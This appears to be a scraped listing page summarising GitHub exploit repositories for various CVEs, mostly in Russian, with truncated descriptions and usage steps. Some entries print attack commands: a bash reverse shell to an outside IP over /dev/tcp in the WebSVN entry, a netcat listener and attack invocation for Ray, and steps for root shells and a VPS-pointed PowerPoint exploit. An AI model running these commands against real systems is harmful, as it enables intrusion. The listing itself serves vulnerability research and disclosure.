Zero-day vulnerabilities are exploited in SonicWall’s SMA1000 appliance.

SonicWall has identified vulnerabilities in the SMA1000 Appliance. The SMA1000 Appliance contains two vulnerabilities. The first is a pre-authentication Server-Side Request Forgery SSRF vulnerability in the Work Place interface, which allows an unauthorized external attacker to perform unauthoriz...

CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC Шаги 1. Скомпилируйте Log4jRCE.java и переместите файл .class на веб-сервер например, локальный PHP 1. cd src/main/java 2. javac Log4jRCE.java 3. Переместите файл .class на веб-сервер или запустите локальный PHP, например: php -S 127.0.0.1:8888 2. Запустите...

CVE-2024-32002-git-rce

CVE-2024-32002-git-rce...

cve-2025-55182-react2shell-analysis

CVE-2025-55182 — Анализ уязвимости React2Shell Обзор Этот проект представляет технический анализ CVE-2025-55182 React2Shell — критической уязвимости удаленного выполнения кода, затрагивающей React Server Components. Целью данного исследования было понять уязвимость, проанализировать её...

CVE-2022-30190_EXP_PowerPoint

CVE-2022-30190EXPPowerPoint Это эксплойт CVE-2022-30190 для PowerPoint. Измените расширение файла на 'zip' и распакуйте его. Вы можете отредактировать \ppt\slides\rels\slide1.xml.rels и заменить на IP:порт вашего VPS, как показано ниже, затем сожмите их тем же способом и измените расширение на...

CVE-2021-21110

CVE-2021-21110 CVE-2021-21110 : Эксплойт удаленного выполнения кода через серверную инъекцию шаблонов в Tiki Wiki CMS GroupWare...

OHTS

OHTS CVE-2017-8759 | Уязвимость удаленного выполнения кода в .NET Framework 1. Введение Уязвимость удаленного выполнения кода существует, когда Microsoft .NET Framework обрабатывает непроверенные входные данные. Злоумышленник, успешно воспользовавшийся этой уязвимостью в программном обеспечении,...

Laravel-8.4.2-rce-CVE-2021-3129

Laravel-8.4.2-rce-CVE-2021-3129 root@kitploit: exploit.py tested use python3,and only working with phpggc . first docker-compose up port on 8888 at 127.0.0.1 generate key first...

EvilSunCheck

Проверка уязвимости EvilSun CVE-2020-14871 Это небольшой скрипт на Python для обнаружения уязвимости «EvilSun» CVE-2020-14871 в системах Solaris. Уязвимость представляет собой переполнение буфера в подключаемом модуле аутентификации PAM pamunixauth при обработке клавиатурно-интерактивной...

CVE-2020-11108-PoC

CVE-2020-11108-PoC В этом репозитории находятся два PoC. cve-2020-11108-rce.py даст вам шелл от имени пользователя www-data. root-cve-2020-11108-rce.py даст вам шелл и повысит привилегии до root. Примечание: это деструктивно, так как мы должны перезаписать teleporter.php. Полное объяснение/отчёт...

CVE-2019-18370_XiaoMi_Mi_WIFI_RCE_analysis

В этом репозитории нет README...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 これは、CVE-2021-3205のエクスプロイトです。search.phpパスにおけるコマンドインジェクションのWeb脆弱性であり、このエクスプロイトによりコマンドを実行できます。 必要条件 optparse, signal, requests 使用方法 root@kitploit: ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i & /dev/tcp/10.0.2.133/443 0&1'" ... ❯ n...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE Это эксплойт для CVE-2019-16278 уязвимости Nostromo 1.9.6 RCE. Данный эксплойт позволяет выполнить удаленный код на целевой машине. Требования optparse socat sys Использование Вы можете использовать эксплойт следующим образом: root@kitploit: python3...

CVE-2021-31630

OpenPLC WebServer v3 - Аутентифицированное удаленное выполнение кода CVE-2021-31630 Этот эксплойт основан на эксплойте с Exploit-DB от Fellipe Oliveira. Сначала аутентифицируйтесь Загрузите вредоносный C-файл Скомпилируйте его Запустите ПЛК инициируйте reverse shell Остановите ПЛК нет необходимос...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-Remote-Code-Execution cve-2018-1133: удалённое выполнение кода в Moodle при аутентификации в качестве учителя...

Log4j-_Vulnerability

Веб уязвим к CVE-2021-44228 Это веб-приложение уязвимо к CVE-2021-44228 — критической уязвимости безопасности в Apache Log4j 2, известной как Log4Shell. Данная уязвимость позволяет неаутентифицированному злоумышленнику удалённо выполнять вредоносный код, просто отправив определённые входные данны...

CVE-2023-6019

Внедрение команд ОС Ray RCEбез авторизации Использование: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2022-21661

🛡️ CVE-2022-21661 Proof-of-Concept PoC эксплойт на Python для CVE-2022-21661 — критической уязвимости в WordPress, которая позволяет неавторизованному злоумышленнику проводить атаку через внедрение объектов object injection , что при определённых условиях может привести к удалённому выполнению код...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Эксплойт для уязвимости удаленного выполнения кода в Microsoft Outlook 📜 Описание Этот скрипт представляет собой доказательство концепции PoC для CVE-2024-21413, значительной уязвимости безопасности, обнаруженной в Microsoft Outlook с показателем CVSS 9.8. Названная ошибкой...

CVE-2018-4121

CVE-2018-4121 — POC RCE-эксплойт для Safari Wasm Sections от MWR Labs c 2018 Детали этот POC-эксплойт нацелен только на Safari 11.0.3 13604.5.6 на macOS 10.13.3 17D47. скомпилируйте payload по вашему выбору в виде dylib с конструктором запустите python filetojsarray.py your.dylib payload.js...